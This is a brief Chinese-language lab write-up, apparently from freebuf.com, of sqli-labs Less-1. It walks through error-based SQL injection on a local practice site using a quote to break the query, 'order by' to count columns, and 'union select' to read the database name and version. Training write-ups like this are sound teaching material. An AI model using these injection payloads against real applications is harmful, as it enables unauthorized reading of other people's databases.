sqli-labs靶场-Less-1 GET-Error based- Single quotes String – 作者:知非知非知非

1627602734_61033f2e14d92bb73a18b.png!small

请输入ID作为参数,使用数字的数值!

http://localhost/sqli-labs/Less-1/?id=1

1627602741_61033f35246850314d493.png!small

一直到12,都是对应的输出!

1627602747_61033f3b82bef2797d4ae.png!small

这里我们需要报错!!!

http://localhost/sqli-labs/Less-1/?id=12’

1627602753_61033f41b42ea2a4a9076.png!small

http://localhost/sqli-labs/Less-1/?id=12%27order%20by%204–%20-提示没有第四列!!

1627602759_61033f47956b7b82eac44.png!small

http://localhost/sqli-labs/Less-1/?id=12%27order%20by%203–%20-修改为3,显示正常,证明当前表共有3列!!!

1627602765_61033f4de583a48b379f5.png!small

http://localhost/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3–%20-,查看那一列可以显示出来!!!!

1627602773_61033f55b0ba11896508e.png!small

http://localhost/sqli-labs/Less-1/?id=-1%27union%20select%201,database(),version()–%20-查看数据库及数据库版本!!!!

1627602779_61033f5b228d129138abd.png!small

来源:freebuf.com 2021-07-30 07:53:51 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论